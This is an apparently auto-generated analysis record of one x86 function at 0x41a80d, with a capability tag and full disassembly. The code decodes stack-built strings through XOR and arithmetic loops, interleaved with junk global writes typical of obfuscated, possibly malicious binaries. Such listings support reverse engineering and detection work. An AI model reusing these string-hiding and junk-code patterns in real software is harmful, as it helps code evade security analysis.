Function at 0x41a80d
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xf4
push ebx
push ebp
push esi
mov ebx, edx
mov dword [esp + 0xc], 0x7238242a
mov ebp, ecx
mov dword [esp + 0x30], ebx
push edi
mov word [esp + 0x14], 0x256f
xor ecx, ecx
mov byte [esp + 0x16], 0x23
mov al, byte [esp + ecx + 0x10]
xor al, 0x41
movzx eax, al
mov word [esp + ecx*2 + 0x50], ax
inc ecx
cmp ecx, 7
jl 0x41a835
xor eax, eax
mov dword [esp + 0x10], 0xbc01edf3
push 0x78
mov word [esp + 0x62], ax
xor ecx, ecx
mov word [esp + 0x18], 0xecb6
mov edx, 0xff
mov byte [esp + 0x1a], 0xea
pop esi
movzx eax, byte [esp + ecx + 0x10]
add ax, si
and ax, dx
mov word [esp + ecx*2 + 0x60], ax
inc ecx
cmp ecx, 7
jl 0x41a86e
mov dword [esp + 0x10], 0x1f1d100e
xorps xmm0, xmm0
mov dword [esp + 0x14], 0xd0fd9e3
xor eax, eax
movq xmm1, qword [esp + 0x10]
xor ecx, ecx
punpcklbw xmm1, xmm0
paddw xmm1, xmmword [0x429f70]
pand xmm1, xmmword [0x429f80]
movups xmmword [esp + 0x80], xmm1
mov dword [esp + 0x10], 0x20263137
movaps xmm1, xmmword [0x429fd0]
mov dword [esp + 0x14], 0x36307a6d
movq xmm0, qword [esp + 0x10]
pxor xmm1, xmm0
mov word [esp + 0x6e], ax
xorps xmm0, xmm0
mov word [esp + 0x90], ax
punpcklbw xmm1, xmm0
movups xmmword [esp + 0x94], xmm1
mov word [esp + 0xa4], ax
mov dword [esp + 0x10], 0xc3bcbec8
mov dword [esp + 0x14], 0x83c8c3c4
mov dword [esp + 0x18], 0xbec1c6c8
mov word [esp + 0x1c], 0xbac9
movzx eax, byte [esp + ecx + 0x10]
sub ax, 0x55
and ax, dx
mov word [esp + ecx*2 + 0xc0], ax
inc ecx
cmp ecx, 0xe
jl 0x41a921
xor eax, eax
mov dword [esp + 0x10], 0xa8a6aead
mov word [esp + 0xdc], ax
xor ecx, ecx
mov dword [esp + 0x14], 0xabefb2af
mov word [esp + 0x18], 0xaeb2
mov byte [esp + 0x1a], 0xaf
mov al, byte [esp + ecx + 0x10]
xor al, 0xc1
movzx eax, al
mov word [esp + ecx*2 + 0xa8], ax
inc ecx
cmp ecx, 0xb
jl 0x41a963
mov dl, byte [0x42c9c4]
xor eax, eax
mov word [esp + 0xbe], ax
or dl, 0xf4
lea eax, [esp + 0x50]
mov word [esp + 0x10], 0x4801
mov dword [esp + 0x38], eax
sub dl, 0x49
lea eax, [esp + 0x60]
mov byte [esp + 0x12], 0x57
mov dword [esp + 0x3c], eax
xor esi, esi
lea eax, [esp + 0x80]
mov word [esp + 0x14], 0x4801
mov dword [esp + 0x40], eax
lea eax, [esp + 0x94]
mov dword [esp + 0x44], eax
lea eax, [esp + 0xc0]
mov dword [esp + 0x48], eax
lea eax, [esp + 0xa8]
push 0x78
mov dword [esp + 0x50], eax
pop eax
mov byte [esp + 0x13], al
mov byte [esp + 0x16], 0x57
xor ecx, ecx
mov al, byte [esp + ecx + 0x10]
xor al, 0x24
movzx eax, al
mov word [esp + ecx*2 + 0x70], ax
inc ecx
cmp ecx, 7
jl 0x41a9ef
push dword [esp + esi*4 + 0x38]
xor eax, eax
movzx ecx, dl
mov word [esp + 0x82], ax
mov eax, 0x9fde
imul ecx, eax
lea eax, [esp + 0x74]
push ebx
push eax
mov word [0x42c9c4], cx
or cl, 0x16
mov byte [0x42c9c2], cl
call fcn.00423fac
mov cx, word [0x42c9c4]
mov ebx, eax
mov dl, cl
mov eax, 0xa94
sub cx, ax
or dl, 0x48
mov eax, 0xd50a
mov byte [0x42c9c2], dl
or cx, ax
add esp, 0xc
movzx eax, cx
mov word [0x42c9c4], cx
test ebx, ebx
je 0x41aba6
xor eax, 0x828
xor ecx, ecx
movzx eax, ax
mov edx, 0xeeb55893
mov word [0x42c9c4], ax
inc ecx
or al, 0xfd
push ebx
mov byte [0x42c9c2], al
call fcn.00415f33
call eax
mov cl, byte [0x42c9c2]
add cl, 0xa8
mov byte [0x42c9c2], cl
cmp eax, 0xffffffff
je 0x41ab88
push 0x78
pop eax
mov byte [esp + 0x20], 0x5a
xor edx, edx
mov byte [esp + 0x21], al
mov dword [esp + 0x22], 0x3272767e
mov dword [esp + 0x26], 0x326e7138
mov dword [esp + 0x2a], 0x326e7138
mov word [esp + 0x2e], 0x7138
mov byte [esp + 0x30], 0x6e
mov al, byte [esp + edx + 0x20]
xor al, 0x1d
movzx eax, al
mov word [esp + edx*2 + 0xe0], ax
inc edx
cmp edx, 0x11
jl 0x41aadf
push dword [esp + esi*4 + 0x38]
xor eax, eax
sub cl, 8
push dword [esp + 0x10c]
mov word [esp + 0x10a], ax
and cl, 0xe1
movzx eax, cl
mov edx, 0xfda2
or ax, dx
sub cl, 3
mov word [0x42c9c4], ax
lea eax, [esp + 0xe8]
push ebp
push eax
mov byte [0x42c9c2], cl
call fcn.00423fac
mov edi, eax
add esp, 0x10
test edi, edi
je 0x41ab82
mov cl, byte [0x42c9c4]
mov eax, 0x1ab4
add cl, 0x76
mov edx, edi
xor cl, 0xf9
mov byte [0x42c9c2], cl
movzx ecx, cl
or cx, ax
mov word [0x42c9c4], cx
mov ecx, ebx
call fcn.0041f03a
mov al, byte [0x42c9c4]
xor al, 0x75
push edi
mov byte [0x42c9c2], al
call fcn.004062f0
pop ecx
mov cl, byte [0x42c9c2]
movzx eax, cl
mov ecx, 0x3eb8
or ax, cx
push ebx
mov word [0x42c9c4], ax
call fcn.004062f0
mov dl, byte [0x42c9c2]
pop ecx
mov ebx, dword [esp + 0x34]
inc esi
cmp esi, 6
jb 0x41a9ed
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret